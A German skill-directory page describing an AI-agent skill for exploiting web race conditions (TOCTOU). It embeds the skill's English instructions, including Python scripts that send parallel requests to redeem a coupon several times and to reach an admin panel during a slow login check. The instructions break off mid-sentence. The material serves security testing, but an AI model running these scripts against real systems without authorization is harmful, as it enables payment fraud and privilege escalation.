Zum Inhalt springen
Skillpedia
Sicherheit6.5k · #14077

race-condition

Was er macht

Diese Fähigkeit erklärt, wie Zeitlücken in Web-Apps ausgenutzt werden können, indem Anfragen im selben Moment gesendet werden. Sie richtet sich an Sicherheitsprüfer, die Zahlungen, Gutscheine und Sitzungslogik testen.

Wann du ihn nutzt

  • ✓Wenn ein Gutschein, ein Guthaben oder eine Überweisung durch gleichzeitige Anfragen mehrfach genutzt werden könnte.
  • ✓Wenn ein Anmelde- oder Sitzungsablauf Daten schreibt, bevor er sie prüft, und du das Timing testen willst.
  • ✓Wenn eine Sicherheitsprüfung fragt, ob Prüfung und Aktualisierung als ein Schritt ablaufen.

Link zum Skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md

Kopiere ihn und füge ihn in deine KI ein (Claude, ChatGPT oder Cursor) mit der Bitte, den Anweisungen zu folgen.

So nutzt du ihn

Am einfachsten: Kopiere die Nachricht und füge sie in deine KI ein. Sie liest den Skill und folgt den Anweisungen.

Fertige Nachricht zum Einfügen

Nutze diesen Skill, um mir zu helfen: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/race-condition/SKILL.md Lies die SKILL.md unter diesem Link und folge ihren Anweisungen für meine Aufgabe.
Soll deine KI Skills wie diesen selbst finden?Installiere den kostenlosen Skillpedia-MCP: eine Zeile, und sie durchsucht vor jeder Aufgabe 15.000+ Skills.In 1 Minute installieren →

Beispielanfrage an deine KI

“Kannst du prüfen, ob mein Gutscheincode zweimal genutzt werden kann, wenn ich die Anfrage viele Male gleichzeitig sende?”

5 neue Skills pro Woche. 1 Minute Lesezeit.

So funktioniert es

Dein Agent sendet viele ähnliche Anfragen gleichzeitig und vergleicht die Ergebnisse, um zu sehen, ob eine Prüfung mehrfach besteht, bevor die Änderung gespeichert wird.

Technischer Inhalt (originale SKILL.md)

Originaltext des Autors, auf Englisch, direkt von GitHub.

Race Conditions (TOCTOU)

Exploits applications that check authorization or state at one moment and act on it at another, or that write session state before validating it. The race window is the time between check and act — wider windows (slow ops like bcrypt/Argon2, DB round-trips, network calls) make the race trivially winnable.

Recognition Signals

Trigger this skill when ANY of the following are present:

  • Slow auth path: bcrypt/Argon2/PBKDF2 in login (>50ms login latency on wrong password). The hash compute widens any race window touching the same session row.
  • session[k] = form[k] BEFORE validation: e.g. login writes session["user"] = posted_username before checking the password — the session row carries attacker-chosen state during the bcrypt sleep.
  • Check-then-act money flows: balance/quota/coupon/transfer endpoints that do if x.balance >= n: x.balance -= n without a single atomic UPDATE-with-WHERE-balance>=n.
  • Idempotency-key-less POSTs to mutating endpoints — same payload N times in parallel produces N writes.
  • Challenge tag includes race_condition, toctou, concurrent, last-write-wins, or double-spend. (Note: smuggling_desync is a parser-disagreement attack, NOT a race — route to /skills/standard/exploit/web/smuggling/SKILL.md.)
  • Session-coupled endpoints: a POST that mutates session, AND a GET that trusts that session, both reachable concurrently.

Single-Endpoint Race — Double Submit

Classic case: one endpoint, fire N parallel requests with the same payload. Server check-then-act loses to itself. Always start here — it's the cheapest probe.

# python3 -c "$(cat << 'PY' ... PY)" — keep timeout ≤ 5s, count ≤ 30
python3 - <<'PY'
import concurrent.futures, requests, sys

URL = "https://<TARGET>/redeem"
COOKIES = {"session": "<SESSION>"}
PAYLOAD = {"coupon": "ONETIME50"}
N = 20

def fire(_):
    return requests.post(URL, cookies=COOKIES, data=PAYLOAD, timeout=5).status_code

with concurrent.futures.ThreadPoolExecutor(max_workers=N) as ex:
    codes = list(ex.map(fire, range(N)))

print("status counts:", {c: codes.count(c) for c in set(codes)})
print("non-error wins:", sum(1 for c in codes if 200 <= c < 300))
PY

Win condition: more than one 200/201 for an operation the server documents as one-shot (single coupon redeem, single transfer). Verify by reading the user's balance/redemption history AFTER the burst — multiple debits/credits = race won.

Verification (≥3 reproductions)

A single race win can be lucky scheduling. Re-run the burst at least 3 times against fresh state (new coupon, reset balance, fresh session if needed). Race condition is only confirmed if ≥3 of 3 reproductions show duplicate writes.

# Repeat the burst across 3 fresh trials
python3 - <<'PY'
import concurrent.futures, requests
# ... fire 20 parallel POSTs, count successes ...
# Run 3 times against reset state, log each trial's win count.
PY

Multi-Endpoint State-Leak Race

The high-impact case: one endpoint writes session state during a slow op (e.g. login during bcrypt), a second endpoint reads that session state, both fired in parallel. The attacker hits the read endpoint while the write endpoint is mid-bcrypt — the session carries privileged state but no valid auth has happened yet.

Pattern:

  • POST /login with username=admin&password=wrong — server writes session["user"]="admin" BEFORE bcrypt, returns 401 only after bcrypt completes (~200ms).
  • GET /admin_panel — checks only session["user"] == "admin".
  • During the bcrypt window, /admin_panel returns admin content. After bcrypt, /login clears the session and returns 401.
python3 - <<'PY'
import concurrent.futures, requests, time

S = requests.Session()
LOGIN  = "https://<TARGET>/login"
TARGET = "https://<TARGET>/admin_panel"
CREDS  = {"username": "admin", "password": "wrong"}

def hit_login():
    return S.post(LOGIN, data=CREDS, timeout=5).status_code

def hit_target():
    # Stagger by ~50ms so the read lands inside the bcrypt window
    time.sleep(0.05)
    r = S.get(TARGET, timeout=5)
    return r.status_code, len(r.content), r.text[:200]

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as ex:
    f1 = ex.submit(hit_login)
    f2 = ex.submit(hit_target)
    print("login:", f1.result())
    print("target:", f2.result())
PY

Tune the stagger (time.sleep) to fit the slow-op latency you measured during recon. Always rely on recon's "Session-write

Häufige Fragen

Was ist ein TOCTOU-Fehler?

Eine Lücke zwischen Prüfung und Nutzung: Die App prüft eine Bedingung und handelt später, wenn sich die Bedingung schon geändert haben kann.

Deckt sie langsame Anmeldeschritte ab?

Ja. Sie nennt langsames Passwort-Hashing als etwas, das das Zeitfenster vergrößern kann.

Ist das dasselbe wie Request Smuggling?

Nein. Laut Fähigkeit ist Smuggling ein Angriff auf unterschiedliche Auslegung durch Parser und gehört zu einer anderen Fähigkeit.

Details

Originalbeschreibung des Autors

Race condition / TOCTOU exploitation — concurrent and parallel-request attacks against web applications that check then act, write session state before validating it, or perform slow operations that widen the race window. Covers single-endpoint races (double-spend, coupon abuse, balance overflow) and multi-endpoint state-leak races where a session write on one endpoint leaks privilege into another endpoint mid-request.

repo: BitterSecurity/Decepticon

Beliebtheit

GitHub-Sterne
6.5k
Platz im Ranking
#14077
Lizenz
Apache-2.0
Aktualisiert
1.11.2026

Ist dieser Skill nützlich?

0

Anmelden um abzustimmen.

Kommentare

  • …

Weitere Skills aus diesem Repository

Ähnliche Skills